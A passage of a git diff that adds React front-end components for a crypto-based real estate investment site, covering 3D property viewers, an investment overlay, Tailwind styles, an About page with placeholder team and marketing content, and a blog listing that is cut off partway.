111+ <meshBasicMaterial toneMapped={false}>
112+ <RenderTexture attach="map">
113+ <Scene {...scene} />
114+ </RenderTexture>
115+ </meshBasicMaterial>
116+ </mesh>
117+ ))}
118+ </>
119+ );
120+};
+82-0src/components/property/Overlay.jsx
@@ -0,0 +1,82 @@
1+import { atom, useAtom } from "jotai";
2+import { useEffect, useState } from "react";
3+import { scenes } from "./Experience";
4+import { FaWallet } from "react-icons/fa";
5+import { Link } from "react-router-dom";
6+
7+export const slideAtom = atom(0);
8+
9+export const Overlay = () => {
10+ const [slide, setSlide] = useAtom(slideAtom);
11+ const [displaySlide, setDisplaySlide] = useState(slide);
12+ const [visible, setVisible] = useState(false);
13+ useEffect(() => {
14+ setTimeout(() => {
15+ setVisible(true);
16+ }, 1000);
17+ }, []);
18+
19+ useEffect(() => {
20+ setVisible(false);
21+ setTimeout(() => {
22+ setDisplaySlide(slide);
23+ setVisible(true);
24+ }, 2600);
25+ }, [slide, setSlide]);
26+
27+ return (
28+ <>
29+ <div
30+ className={`fixed z-10 top-0 left-0 bottom-0 right-0 flex flex-col justify-between pointer-events-none text-black ${
31+ visible ? "" : "opacity-0"
32+ } transition-opacity duration-1000`}
33+ >
34+ <Link to='/' className="flex items-center justify-center mx-auto mt-8">
35+ <svg width="30" height="35" fill="none" xmlns="http://www.w3.org/2000/svg">
36+ <circle cx="15" cy="20" r="10" stroke="#0682ff"/>
37+ <circle cx="15" cy="20" r="6" stroke="#0682ff" strokeWidth="3"/>
38+ </svg>
39+ <span className="text-2xl text-primary-700 font-bold mt-1.5">GoldenProp</span>
40+ </Link>
41+ <div className="bg-gradient-to-t from-white/90 pt-20 pb-10 p-4 flex items-center flex-col text-center">
42+ <h1 className="text-2xl lg:text-5xl font-extrabold">
43+ {scenes[displaySlide].name}
44+ </h1>
45+ <p className="text-xs lg:text-sm text-opacity-60 italic">
46+ {scenes[displaySlide].description}
47+ </p>
48+ <div className="flex items-center gap-12 mt-4">
49+ <div className="flex flex-col items-center">
50+ <div className="flex items-center gap-2">
51+ <p className="font-semibold text-sm lg:text-2xl">
52+ {scenes[displaySlide].targetProfitability} %
53+ </p>
54+ </div>
55+ <p className="text-xs opacity-80">Total Return</p>
56+ </div>
57+ <div className="flex flex-col items-center">
58+ <div className="flex items-center gap-2">
59+ <p className="font-semibold text-sm lg:text-2xl">
60+ {scenes[displaySlide].roi} %
61+ </p>
62+ </div>
63+ <p className="text-xs opacity-80">ROI</p>
64+ </div>
65+ <div className="flex flex-col items-center">
66+ <div className="flex gap-2 items-center">
67+ <p className="font-semibold text-sm lg:text-2xl">
68+ {scenes[displaySlide].valuation.toLocaleString()}
69+ </p>
70+ </div>
71+ <p className="text-xs opacity-80">Valuation</p>
72+ </div>
73+ </div>
74+ <button className="btn w-full lg:w-1/2 mt-6 flex items-center justify-center text-xl">
75+ <FaWallet className="mr-2" />
76+ Invest
77+ </button>
78+ </div>
79+ </div>
80+ </>
81+ );
82+};
+222-0src/components/property/Property3DModel.jsx
@@ -0,0 +1,222 @@
1+import React, { Suspense, useState, useRef } from 'react';
2+import { Canvas } from '@react-three/fiber';
3+import { OrbitControls, useGLTF, Environment, PerspectiveCamera } from '@react-three/drei';
4+import { motion } from 'framer-motion';
5+import { FiRotateCw, FiZoomIn, FiZoomOut, FiMaximize2 } from 'react-icons/fi';
6+
7+// 3D Model Component
8+function House3DModel({ modelPath, scale = 1 }) {
9+ const { scene } = useGLTF(modelPath);
10+
11+ React.useEffect(() => {
12+ scene.traverse((child) => {
13+ if (child.isMesh) {
14+ child.castShadow = true;
15+ child.receiveShadow = true;
16+ }
17+ });
18+ }, [scene]);
19+
20+ return <primitive object={scene} scale={scale} />;
21+}
22+
23+// Loading Component
24+function LoadingSpinner() {
25+ return (
26+ <div className="absolute inset-0 flex items-center justify-center glass-card">
27+ <div className="text-center">
28+ <div className="animate-spin rounded-full h-12 w-12 border-b-2 border-primary-600 mx-auto mb-4"></div>
29+ <p className="text-platinum-600">Loading 3D Model...</p>
30+ </div>
31+ </div>
32+ );
33+}
34+
35+// Error Component
36+function ErrorDisplay({ onRetry }) {
37+ return (
38+ <div className="absolute inset-0 flex items-center justify-center glass-card">
39+ <div className="text-center">
40+ <div className="text-red-500 text-4xl mb-4">⚠️</div>
41+ <p className="text-sapphire-700 mb-4">Failed to load 3D model</p>
42+ <button
43+ onClick={onRetry}
44+ className="btn-secondary"
45+ >
46+ Try Again
47+ </button>
48+ </div>
49+ </div>
50+ );
51+}
52+
53+// Main 3D Model Card Component
54+export default function Property3DModel({
55+ modelPath = '/models/house2.glb',
56+ title = '3D Property Model',
57+ description = 'Interactive 3D visualization of the property',
58+ className = '',
59+ height = 'h-96'
60+}) {
61+ const [error, setError] = useState(false);
62+ const [isFullscreen, setIsFullscreen] = useState(false);
63+ const controlsRef = useRef();
64+
65+ const handleError = () => {
66+ setError(true);
67+ };
68+
69+ const handleRetry = () => {
70+ setError(false);
71+ // Force re-render by changing key
72+ window.location.reload();
73+ };
74+
75+ const resetCamera = () => {
76+ if (controlsRef.current) {
77+ controlsRef.current.reset();
78+ }
79+ };
80+
81+ const toggleFullscreen = () => {
82+ setIsFullscreen(!isFullscreen);
83+ };
84+
85+ return (
86+ <>
87+ <motion.div
88+ className={`glass-card relative ${height} ${className} group overflow-hidden`}
89+ initial={{ opacity: 0, y: 20 }}
90+ whileInView={{ opacity: 1, y: 0 }}
91+ viewport={{ once: true }}
92+ transition={{ duration: 0.6 }}
93+ >
94+ {/* Header */}
95+ <div className="absolute top-4 left-4 right-4 z-10 flex justify-between items-start">
96+ <div className="glass-card px-3 py-2">
97+ <h3 className="font-semibold text-sapphire-800">{title}</h3>
98+ <p className="text-sm text-platinum-600">{description}</p>
99+ </div>
100+
101+ {/* Controls */}
102+ <div className="flex space-x-2 opacity-0 group-hover:opacity-100 transition-opacity duration-300">
103+ <button
104+ onClick={resetCamera}
105+ className="glass-card p-2 hover:bg-glass-light transition-colors duration-200"
106+ title="Reset View"
107+ >
108+ <FiRotateCw size={16} className="text-sapphire-700" />
109+ </button>
110+ <button
111+ onClick={toggleFullscreen}
112+ className="glass-card p-2 hover:bg-glass-light transition-colors duration-200"
113+ title="Fullscreen"
114+ >
115+ <FiMaximize2 size={16} className="text-sapphire-700" />
116+ </button>
117+ </div>
118+ </div>
119+
120+ {/* 3D Canvas */}
121+ <Canvas
122+ shadows
123+ camera={{ position: [5, 5, 10], fov: 50 }}
124+ className="w-full h-full"
125+ onError={handleError}
126+ >
127+ <color attach="background" args={['transparent']} />
128+
129+ {/* Lighting */}
130+ <ambientLight intensity={0.4} />
131+ <directionalLight
132+ position={[10, 10, 5]}
133+ intensity={1}
134+ castShadow
135+ shadow-mapSize-width={2048}
136+ shadow-mapSize-height={2048}
137+ />
138+ <pointLight position={[-10, -10, -10]} intensity={0.3} />
139+
140+ {/* Environment */}
141+ <Environment preset="city" />
142+
143+ {/* Controls */}
144+ <OrbitControls
145+ ref={controlsRef}
146+ enablePan={true}
147+ enableZoom={true}
148+ enableRotate={true}
149+ minDistance={3}
150+ maxDistance={20}
151+ maxPolarAngle={Math.PI / 2}
152+ autoRotate={false}
153+ autoRotateSpeed={0.5}
154+ />
155+
156+ {/* 3D Model */}
157+ <Suspense fallback={null}>
158+ {!error && (
159+ <House3DModel
160+ modelPath={modelPath}
161+ scale={1.2}
162+ />
163+ )}
164+ </Suspense>
165+
166+ {/* Ground plane for shadows */}
167+ <mesh receiveShadow rotation={[-Math.PI / 2, 0, 0]} position={[0, -2, 0]}>
168+ <planeGeometry args={[20, 20]} />
169+ <shadowMaterial opacity={0.2} />
170+ </mesh>
171+ </Canvas>
172+
173+ {/* Loading State */}
174+ <Suspense fallback={<LoadingSpinner />}>
175+ {/* This will show loading spinner while model loads */}
176+ </Suspense>
177+
178+ {/* Error State */}
179+ {error && <ErrorDisplay onRetry={handleRetry} />}
180+
181+ {/* Instructions */}
182+ <div className="absolute bottom-4 left-4 right-4 z-10">
183+ <div className="glass-card px-3 py-2 opacity-0 group-hover:opacity-100 transition-opacity duration-300">
184+ <p className="text-xs text-platinum-600 text-center">
185+ Click and drag to rotate • Scroll to zoom • Right-click to pan
186+ </p>
187+ </div>
188+ </div>
189+ </motion.div>
190+
191+ {/* Fullscreen Modal */}
192+ {isFullscreen && (
193+ <motion.div
194+ className="fixed inset-0 z-50 bg-black/80 backdrop-blur-sm"
195+ initial={{ opacity: 0 }}
196+ animate={{ opacity: 1 }}
197+ exit={{ opacity: 0 }}
198+ onClick={toggleFullscreen}
199+ >
200+ <div className="absolute inset-4">
201+ <Property3DModel
202+ modelPath={modelPath}
203+ title={title}
204+ description={description}
205+ height="h-full"
206+ className="!relative"
207+ />
208+ <button
209+ onClick={toggleFullscreen}
210+ className="absolute top-4 right-4 glass-card p-3 hover:bg-glass-light transition-colors duration-200 z-10"
211+ >
212+ <FiMaximize2 size={20} className="text-white" />
213+ </button>
214+ </div>
215+ </motion.div>
216+ )}
217+ </>
218+ );
219+}
220+
221+// Preload the model
222+useGLTF.preload('/models/house2.glb');
+111-0src/components/property/Scene.jsx
@@ -0,0 +1,111 @@
1+import {
2+ AccumulativeShadows,
3+ Environment,
4+ Lightformer,
5+ OrbitControls,
6+ PerspectiveCamera,
7+ RandomizedLight,
8+ Sphere,
9+ useGLTF,
10+} from "@react-three/drei";
11+
12+import * as THREE from "three";
13+
14+import React, { useEffect } from "react";
15+import { DEG2RAD } from "three/src/math/MathUtils";
16+
17+export const Scene = ({ mainColor, path, ...props }) => {
18+ const { scene } = useGLTF(path);
19+ useEffect(() => {
20+ scene.traverse((child) => {
21+ if (child.isMesh) {
22+ child.castShadow = true;
23+ child.receiveShadow = true;
24+ }
25+ });
26+ }, [scene]);
27+ const ratioScale = Math.min(1.2, Math.max(0.5, window.innerWidth / 1920));
28+ return (
29+ <>
30+ <color attach="background" args={["#ffffff"]} />
31+ <group {...props} dispose={null}>
32+ <PerspectiveCamera makeDefault position={[3, 3, 18]} near={0.5} />
33+ <OrbitControls
34+ autoRotate
35+ enablePan={false}
36+ maxPolarAngle={DEG2RAD * 75}
37+ minDistance={6}
38+ maxDistance={10}
39+ autoRotateSpeed={0.5}
40+ />
41+ <primitive object={scene} scale={ratioScale} />
42+ <ambientLight intensity={0.1} color="white" />
43+ <AccumulativeShadows
44+ frames={100}
45+ alphaTest={0.9}
46+ scale={30}
47+ position={[0, -0.005, 0]}
48+ color="pink"
49+ opacity={0.8}
50+ >
51+ <RandomizedLight
52+ amount={4}
53+ radius={9}
54+ intensity={0.8}
55+ ambient={0.25}
56+ position={[10, 5, 15]}
57+ />
58+ <RandomizedLight
59+ amount={4}
60+ radius={5}
61+ intensity={0.5}
62+ position={[-5, 5, 15]}
63+ bias={0.001}
64+ />
65+ </AccumulativeShadows>
66+ <Environment file={"./spree_bank_1k.hdr"} blur={0.8} background>
67+ <Sphere scale={15}>
68+ <meshBasicMaterial color={mainColor} side={THREE.BackSide} />
69+ </Sphere>
70+ <Lightformer
71+ position={[5, 0, -5]}
72+ form="rect" // circle | ring | rect (optional, default = rect)
73+ intensity={1} // power level (optional = 1)
74+ color="red" // (optional = white)
75+ scale={[3, 5]} // Scale it any way you prefer (optional = [1, 1])
76+ target={[0, 0, 0]}
77+ />
78+
79+ <Lightformer
80+ position={[-5, 0, 1]}
81+ form="circle" // circle | ring | rect (optional, default = rect)
82+ intensity={1} // power level (optional = 1)
83+ color="green" // (optional = white)
84+ scale={[2, 5]} // Scale it any way you prefer (optional = [1, 1])
85+ target={[0, 0, 0]}
86+ />
87+
88+ <Lightformer
89+ position={[0, 5, -2]}
90+ form="ring" // circle | ring | rect (optional, default = rect)
91+ intensity={0.52} // power level (optional = 1)
92+ color="orange" // (optional = white)
93+ scale={[10, 5]} // Scale it any way you prefer (optional = [1, 1])
94+ target={[0, 0, 0]}
95+ />
96+ <Lightformer
97+ position={[0, 0, 5]}
98+ form="rect" // circle | ring | rect (optional, default = rect)
99+ intensity={1} // power level (optional = 1)
100+ color="purple" // (optional = white)
101+ scale={[10, 5]} // Scale it any way you prefer (optional = [1, 1])
102+ target={[0, 0, 0]}
103+ />
104+ </Environment>
105+ </group>
106+ </>
107+ );
108+};
109+
110+useGLTF.preload("/models/house1.glb");
111+useGLTF.preload("/models/house2.glb");
+54-0src/index.css
@@ -0,0 +1,54 @@
1+@import url("https://fonts.googleapis.com/css2?family=Nunito+Sans:ital,opsz,wght@0,6..12,400;0,6..12,600;0,6..12,800;1,6..12,400&display=swap");
2+@import url('https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap');
3+@tailwind base;
4+@tailwind components;
5+@tailwind utilities;
6+
7+@layer base {
8+ html {
9+ scroll-behavior: smooth;
10+ }
11+
12+ body {
13+ @apply font-sans text-sapphire-800 bg-gradient-to-br from-sapphire-50 via-white to-platinum-50;
14+ min-height: 100vh;
15+ }
16+}
17+
18+@layer components {
19+ .container {
20+ @apply max-w-7xl mx-auto px-4 sm:px-6 lg:px-8;
21+ }
22+
23+ .btn {
24+ @apply inline-flex items-center px-4 py-2 border border-transparent text-sm font-medium rounded-xl shadow-luxe text-white bg-gradient-to-r from-primary-500 to-primary-600 hover:from-primary-600 hover:to-primary-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-primary-500 transition-all duration-300;
25+ }
26+
27+ .btn-secondary {
28+ @apply inline-flex items-center px-4 py-2 border border-glass text-sm font-medium rounded-xl text-primary-700 bg-glass backdrop-blur-md hover:bg-glass-light focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-primary-500 transition-all duration-300;
29+ }
30+
31+ .input {
32+ @apply block w-full rounded-xl border-platinum-200 bg-white/80 backdrop-blur-md shadow-luxe focus:border-primary-500 focus:ring-primary-500 sm:text-sm transition-all duration-300;
33+ }
34+
35+ .card {
36+ @apply bg-white/80 backdrop-blur-md rounded-2xl shadow-luxe border border-platinum-200/50 overflow-hidden transition-all duration-300 hover:shadow-glass-lg hover:scale-[1.02];
37+ }
38+
39+ .glass-card {
40+ @apply bg-white/90 backdrop-blur-md rounded-2xl shadow-luxe border border-platinum-200/50;
41+ }
42+
43+ .glass-nav {
44+ @apply bg-white/95 backdrop-blur-xl border-b border-platinum-200/50;
45+ }
46+
47+ .glass-section {
48+ @apply bg-gradient-to-br from-white/5 to-white/15 backdrop-blur-md rounded-3xl shadow-glass-lg border border-platinum-200/50;
49+ }
50+
51+ .glass-hero {
52+ @apply bg-gradient-to-br from-sapphire-900/40 via-sapphire-800/30 to-sapphire-900/20 backdrop-blur-xs;
53+ }
54+}
+10-0src/index.js
@@ -0,0 +1,10 @@
1+import React from "react";
2+import ReactDOM from "react-dom/client";
3+import App from "./App.jsx";
4+import "./index.css";
5+
6+ReactDOM.createRoot(document.getElementById("root")).render(
7+ <React.StrictMode>
8+ <App />
9+ </React.StrictMode>
10+);
+281-0src/pages/About.jsx
@@ -0,0 +1,281 @@
1+import { motion } from 'framer-motion';
2+import { FiUsers, FiDollarSign, FiGlobe, FiShield, FiBriefcase, FiAward } from 'react-icons/fi';
3+import { FaBitcoin, FaEthereum, FaHandshake } from 'react-icons/fa';
4+import { SiChainlink } from 'react-icons/si';
5+
6+function About() {
7+ const stats = [
8+ {
9+ value: '$250M+',
10+ label: 'Property Transactions',
11+ icon: FiDollarSign
12+ },
13+ {
14+ value: '15,000+',
15+ label: 'Active Investors',
16+ icon: FiUsers
17+ },
18+ {
19+ value: '45+',
20+ label: 'Countries Served',
21+ icon: FiGlobe
22+ },
23+ {
24+ value: '100%',
25+ label: 'Secure Transactions',
26+ icon: FiShield
27+ }
28+ ];
29+
30+ const team = [
31+ {
32+ name: 'Lorem Ipsum',
33+ role: 'Lorem Ipsum',
34+ image: 'https://images.unsplash.com/photo-1507003211169-0a1dd7228f2d?w=400&q=80',
35+ bio: 'Lorem ipsum dolor sit amet consectetur adipisicing elit. Commodi amet debiti'
36+ },
37+ {
38+ name: 'Lorem Ipsum',
39+ role: 'Lorem Ipsum',
40+ image: 'https://images.unsplash.com/photo-1507003211169-0a1dd7228f2d?w=400&q=80',
41+ bio: 'Lorem ipsum dolor sit amet consectetur adipisicing elit. Commodi amet debiti'
42+ },
43+ {
44+ name: 'Lorem Ipsum',
45+ role: 'Lorem Ipsum',
46+ image: "https://images.unsplash.com/photo-1507003211169-0a1dd7228f2d?w=400&q=80",
47+ bio: 'Lorem ipsum dolor sit amet consectetur adipisicing elit. Commodi amet debiti'
48+ },
49+ {
50+ name: 'Lorem Ipsum',
51+ role: 'Lorem Ipsum',
52+ image: 'https://images.unsplash.com/photo-1507003211169-0a1dd7228f2d?w=400&q=80',
53+ bio: 'Lorem ipsum dolor sit amet consectetur adipisicing elit. Commodi amet debiti'
54+ }
55+ ];
56+
57+ const partners = [
58+ {
59+ name: 'Bitcoin',
60+ icon: FaBitcoin,
61+ color: 'text-orange-500'
62+ },
63+ {
64+ name: 'Ethereum',
65+ icon: FaEthereum,
66+ color: 'text-purple-500'
67+ },
68+ {
69+ name: 'Chainlink',
70+ icon: SiChainlink,
71+ color: 'text-blue-500'
72+ }
73+ ];
74+
75+ return (
76+ <div className="min-h-screen bg-secondary-50">
77+ {/* Hero Section */}
78+ <section className="relative bg-secondary-900 text-white py-24">
79+ <div className="container">
80+ <motion.div
81+ initial={{ opacity: 0, y: 20 }}
82+ animate={{ opacity: 1, y: 0 }}
83+ transition={{ duration: 0.6 }}
84+ className="max-w-3xl mx-auto text-center"
85+ >
86+ <h1 className="text-4xl md:text-5xl font-bold mb-6">
87+ Revolutionizing Real Estate Investment
88+ </h1>
89+ <p className="text-xl text-secondary-200">
90+ We're bridging the gap between traditional real estate and cryptocurrency,
91+ making property investment accessible, secure, and transparent through blockchain technology.
92+ </p>
93+ </motion.div>
94+ </div>
95+ </section>
96+
97+ {/* Stats Section */}
98+ <section className="py-16">
99+ <div className="container">
100+ <div className="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-4 gap-8">
101+ {stats.map((stat, index) => (
102+ <motion.div
103+ key={index}
104+ initial={{ opacity: 0, y: 20 }}
105+ whileInView={{ opacity: 1, y: 0 }}
106+ viewport={{ once: true }}
107+ transition={{ delay: index * 0.1 }}
108+ className="bg-white rounded-lg p-6 text-center shadow-md"
109+ >
110+ <stat.icon className="w-8 h-8 mx-auto mb-4 text-primary-600" />
111+ <div className="text-3xl font-bold text-secondary-900 mb-2">{stat.value}</div>
112+ <div className="text-secondary-600">{stat.label}</div>
113+ </motion.div>
114+ ))}
115+ </div>
116+ </div>
117+ </section>
118+
119+ {/* Mission Section */}
120+ <section className="py-16 bg-white">
121+ <div className="container">
122+ <div className="max-w-3xl mx-auto text-center mb-16">
123+ <h2 className="text-3xl font-bold mb-6">Our Mission</h2>
124+ <p className="text-lg text-secondary-600">
125+ To democratize real estate investment by leveraging blockchain technology,
126+ making property ownership accessible to investors worldwide through
127+ fractional ownership and cryptocurrency transactions.
128+ </p>
129+ </div>
130+
131+ <div className="grid grid-cols-1 md:grid-cols-3 gap-8">
132+ <motion.div
133+ initial={{ opacity: 0, y: 20 }}
134+ whileInView={{ opacity: 1, y: 0 }}
135+ viewport={{ once: true }}
136+ className="text-center"
137+ >
138+ <div className="bg-primary-50 p-4 rounded-full w-20 h-20 flex items-center justify-center mx-auto mb-4">
139+ <FaHandshake className="w-8 h-8 text-primary-600" />
140+ </div>
141+ <h3 className="text-xl font-semibold mb-4">Accessibility</h3>
142+ <p className="text-secondary-600">
143+ Making real estate investment available to everyone through fractional ownership
144+ and cryptocurrency payments.
145+ </p>
146+ </motion.div>
147+
148+ <motion.div
149+ initial={{ opacity: 0, y: 20 }}
150+ whileInView={{ opacity: 1, y: 0 }}
151+ viewport={{ once: true }}
152+ transition={{ delay: 0.2 }}
153+ className="text-center"
154+ >
155+ <div className="bg-primary-50 p-4 rounded-full w-20 h-20 flex items-center justify-center mx-auto mb-4">
156+ <FiShield className="w-8 h-8 text-primary-600" />
157+ </div>
158+ <h3 className="text-xl font-semibold mb-4">Security</h3>
159+ <p className="text-secondary-600">
160+ Ensuring secure transactions through blockchain technology and smart contracts.
161+ </p>
162+ </motion.div>
163+
164+ <motion.div
165+ initial={{ opacity: 0, y: 20 }}
166+ whileInView={{ opacity: 1, y: 0 }}
167+ viewport={{ once: true }}
168+ transition={{ delay: 0.4 }}
169+ className="text-center"
170+ >
171+ <div className="bg-primary-50 p-4 rounded-full w-20 h-20 flex items-center justify-center mx-auto mb-4">
172+ <FiGlobe className="w-8 h-8 text-primary-600" />
173+ </div>
174+ <h3 className="text-xl font-semibold mb-4">Global Reach</h3>
175+ <p className="text-secondary-600">
176+ Connecting property investors and opportunities worldwide through our platform.
177+ </p>
178+ </motion.div>
179+ </div>
180+ </div>
181+ </section>
182+
183+ {/* Team Section */}
184+ <section className="py-16">
185+ <div className="container">
186+ <h2 className="text-3xl font-bold text-center mb-12">Our Leadership Team</h2>
187+ <div className="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-4 gap-8">
188+ {team.map((member, index) => (
189+ <motion.div
190+ key={index}
191+ initial={{ opacity: 0, y: 20 }}
192+ whileInView={{ opacity: 1, y: 0 }}
193+ viewport={{ once: true }}
194+ transition={{ delay: index * 0.1 }}
195+ className="bg-white rounded-lg shadow-md overflow-hidden"
196+ >
197+ <img
198+ src={member.image}
199+ alt={member.name}
200+ className="w-full h-64 object-cover"
201+ />
202+ <div className="p-6">
203+ <h3 className="text-xl font-semibold mb-2">{member.name}</h3>
204+ <p className="text-primary-600 font-medium mb-4">{member.role}</p>
205+ <p className="text-secondary-600 text-sm">{member.bio}</p>
206+ </div>
207+ </motion.div>
208+ ))}
209+ </div>
210+ </div>
211+ </section>
212+
213+ {/* Partners Section */}
214+ <section className="py-16 bg-white">
215+ <div className="container">
216+ <h2 className="text-3xl font-bold text-center mb-12">Supported Cryptocurrencies</h2>
217+ <div className="grid grid-cols-1 md:grid-cols-3 gap-8 max-w-3xl mx-auto">
218+ {partners.map((partner, index) => (
219+ <motion.div
220+ key={index}
221+ initial={{ opacity: 0, y: 20 }}
222+ whileInView={{ opacity: 1, y: 0 }}
223+ viewport={{ once: true }}
224+ transition={{ delay: index * 0.1 }}
225+ className="text-center"
226+ >
227+ <partner.icon className={`w-16 h-16 mx-auto mb-4 ${partner.color}`} />
228+ <h3 className="text-xl font-semibold">{partner.name}</h3>
229+ </motion.div>
230+ ))}
231+ </div>
232+ </div>
233+ </section>
234+
235+ {/* Awards Section */}
236+ <section className="py-16">
237+ <div className="container">
238+ <h2 className="text-3xl font-bold text-center mb-12">Recognition & Achievements</h2>
239+ <div className="grid grid-cols-1 md:grid-cols-3 gap-8 max-w-3xl mx-auto">
240+ <motion.div
241+ initial={{ opacity: 0, y: 20 }}
242+ whileInView={{ opacity: 1, y: 0 }}
243+ viewport={{ once: true }}
244+ className="bg-white p-6 rounded-lg shadow-md text-center"
245+ >
246+ <FiAward className="w-12 h-12 mx-auto mb-4 text-primary-600" />
247+ <h3 className="text-xl font-semibold mb-2">Best Blockchain Innovation</h3>
248+ <p className="text-secondary-600">Real Estate Tech Awards 2024</p>
249+ </motion.div>
250+
251+ <motion.div
252+ initial={{ opacity: 0, y: 20 }}
253+ whileInView={{ opacity: 1, y: 0 }}
254+ viewport={{ once: true }}
255+ transition={{ delay: 0.2 }}
256+ className="bg-white p-6 rounded-lg shadow-md text-center"
257+ >
258+ <FiBriefcase className="w-12 h-12 mx-auto mb-4 text-primary-600" />
259+ <h3 className="text-xl font-semibold mb-2">Fastest Growing PropTech</h3>
260+ <p className="text-secondary-600">Forbes Innovation 2024</p>
261+ </motion.div>
262+
263+ <motion.div
264+ initial={{ opacity: 0, y: 20 }}
265+ whileInView={{ opacity: 1, y: 0 }}
266+ viewport={{ once: true }}
267+ transition={{ delay: 0.4 }}
268+ className="bg-white p-6 rounded-lg shadow-md text-center"
269+ >
270+ <FiShield className="w-12 h-12 mx-auto mb-4 text-primary-600" />
271+ <h3 className="text-xl font-semibold mb-2">Most Secure Platform</h3>
272+ <p className="text-secondary-600">Blockchain Security Excellence 2024</p>
273+ </motion.div>
274+ </div>
275+ </div>
276+ </section>
277+ </div>
278+ );
279+}
280+
281+export default About;
+188-0src/pages/Blog.jsx
@@ -0,0 +1,188 @@
1+import { useState } from 'react';
2+import { Link } from 'react-router-dom';
3+import { motion } from 'framer-motion';
4+import { FiSearch, FiClock, FiUser } from 'react-icons/fi';
5+
6+function Blog() {
7+ const [searchTerm, setSearchTerm] = useState('');
8+ const [selectedCategory, setSelectedCategory] = useState('all');
9+
10+ const categories = [
11+ { id: 'all', name: 'All Posts' },
12+ { id: 'crypto', name: 'Cryptocurrency' },
13+ { id: 'investment', name: 'Investment' },
14+ { id: 'property', name: 'Property' },
15+ { id: 'technology', name: 'Technology' },
16+ { id: 'market', name: 'Market Analysis' }
17+ ];
18+
19+ const posts = [
20+ {
21+ id: 1,
22+ title: 'The Future of Real Estate: Cryptocurrency Payments and Blockchain Technology',
23+ slug: 'future-real-estate-crypto-payments',
24+ excerpt: 'Explore how cryptocurrency and blockchain are revolutionizing property transactions and investment opportunities.',
25+ image: 'https://images.unsplash.com/photo-1516245834210-c4c142787335?w=800&q=80',
26+ category: 'crypto',
27+ author: 'Sarah Johnson',
28+ date: '2024-03-15',
29+ readTime: '5 min read'
30+ },
31+ {
32+ id: 2,
33+ title: 'Understanding Tokenized Real Estate Investment',
34+ slug: 'understanding-tokenized-real-estate',
35+ excerpt: "A comprehensive guide to property tokenization and how it's making real estate investment more accessible.",
36+ image: 'https://images.unsplash.com/photo-1460472178825-e5240623afd5?w=800&q=80',
37+ category: 'investment',
38+ author: 'Michael Chen',
39+ date: '2024-03-12',
40+ readTime: '7 min read'
41+ },
42+ {
43+ id: 3,
44+ title: 'Smart Contracts in Real Estate Transactions',
45+ slug: 'smart-contracts-real-estate',
46+ excerpt: 'How smart contracts are streamlining property transactions and reducing costs.',
47+ image: 'https://images.unsplash.com/photo-1451187580459-43490279c0fa?w=800&q=80',
48+ category: 'technology',
49+ author: 'David Rodriguez',
50+ date: '2024-03-10',
51+ readTime: '6 min read'
52+ },
53+ {
54+ id: 4,
55+ title: '2024 Real Estate Market Analysis: Crypto Impact',
56+ slug: '2024-market-analysis-crypto',
57+ excerpt: 'Analysis of how cryptocurrency adoption is affecting real estate market dynamics.',
58+ image: 'https://images.unsplash.com/photo-1551288049-bebda4e38f71?w=800&q=80',
59+ category: 'market',
60+ author: 'Emma Wilson',
61+ date: '2024-03-08',
62+ readTime: '8 min read'
63+ },
64+ {
65+ id: 5,
66+ title: 'Property Investment Strategies with Cryptocurrency',
67+ slug: 'property-investment-strategies-crypto',
68+ excerpt: 'Learn effective strategies for investing in real estate using cryptocurrency.',
69+ image: 'https://images.unsplash.com/photo-1551434678-e076c223a692?w=800&q=80',
70+ category: 'investment',
71+ author: 'Sarah Johnson',
72+ date: '2024-03-05',
73+ readTime: '6 min read'
74+ },
75+ {
76+ id: 6,
77+ title: 'Regulatory Landscape: Crypto in Real Estate',
78+ slug: 'regulatory-landscape-crypto-real-estate',
79+ excerpt: 'Understanding the current regulatory environment for cryptocurrency-based property transactions.',
80+ image: 'https://images.unsplash.com/photo-1507679799987-c73779587ccf?w=800&q=80',
81+ category: 'crypto',
82+ author: 'Michael Chen',
83+ date: '2024-03-02',
84+ readTime: '7 min read'
85+ }
86+ ];
87+
88+ const filteredPosts = posts.filter(post => {
89+ const matchesSearch = post.title.toLowerCase().includes(searchTerm.toLowerCase()) ||
90+ post.excerpt.toLowerCase().includes(searchTerm.toLowerCase());
91+ const matchesCategory = selectedCategory === 'all' || post.category === selectedCategory;
92+ return matchesSearch && matchesCategory;
93+ });
94+
95+ return (
96+ <div className="min-h-screen bg-secondary-50 py-16">
97+ <div className="container">
98+ {/* Header */}
99+ <motion.div
100+ initial={{ opacity: 0, y: 20 }}
101+ animate={{ opacity: 1, y: 0 }}
102+ className="text-center max-w-3xl mx-auto mb-12"
103+ >
104+ <h1 className="text-4xl font-bold mb-4">Real Estate & Crypto Insights</h1>
105+ <p className="text-secondary-600">
106+ Stay updated with the latest trends in real estate investment, cryptocurrency, and blockchain technology.
107+ </p>
108+ </motion.div>
109+
110+ {/* Search and Filter */}
111+ <div className="max-w-4xl mx-auto mb-12">
112+ <div className="bg-white rounded-lg shadow-md p-6">
113+ <div className="flex flex-col md:flex-row gap-4">
114+ <div className="flex-1">
115+ <div className="relative">
116+ <FiSearch className="absolute left-3 top-1/2 transform -translate-y-1/2 text-secondary-400" />
117+ <input
118+ type="text"
119+ placeholder="Search articles..."
120+ className="input pl-10"
121+ value={searchTerm}
122+ onChange={(e) => setSearchTerm(e.target.value)}
123+ />
124+ </div>
125+ </div>
126+ <div className="w-full md:w-48">
127+ <select
128+ className="input"
129+ value={selectedCategory}
130+ onChange={(e) => setSelectedCategory(e.target.value)}
131+ >
132+ {categories.map(category => (
133+ <option key={category.id} value={category.id}>
134+ {category.name}
135+ </option>
136+ ))}
137+ </select>
138+ </div>
139+ </div>
140+ </div>
141+ </div>
142+
143+ {/* Blog Posts Grid */}
144+ <div className="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-8">
145+ {filteredPosts.map((post, index) => (
146+ <motion.article
147+ key={post.id}
148+ initial={{ opacity: 0, y: 20 }}
149+ whileInView={{ opacity: 1, y: 0 }}
150+ viewport={{ once: true }}
151+ transition={{ delay: index * 0.1 }}
152+ className="bg-white rounded-lg shadow-md overflow-hidden"
153+ >
154+ <Link to={`/blog/${post.slug}`}>
155+ <div className="relative h-48">
156+ <img
157+ src={post.image}
158+ alt={post.title}
159+ className="w-full h-full object-cover"
160+ />
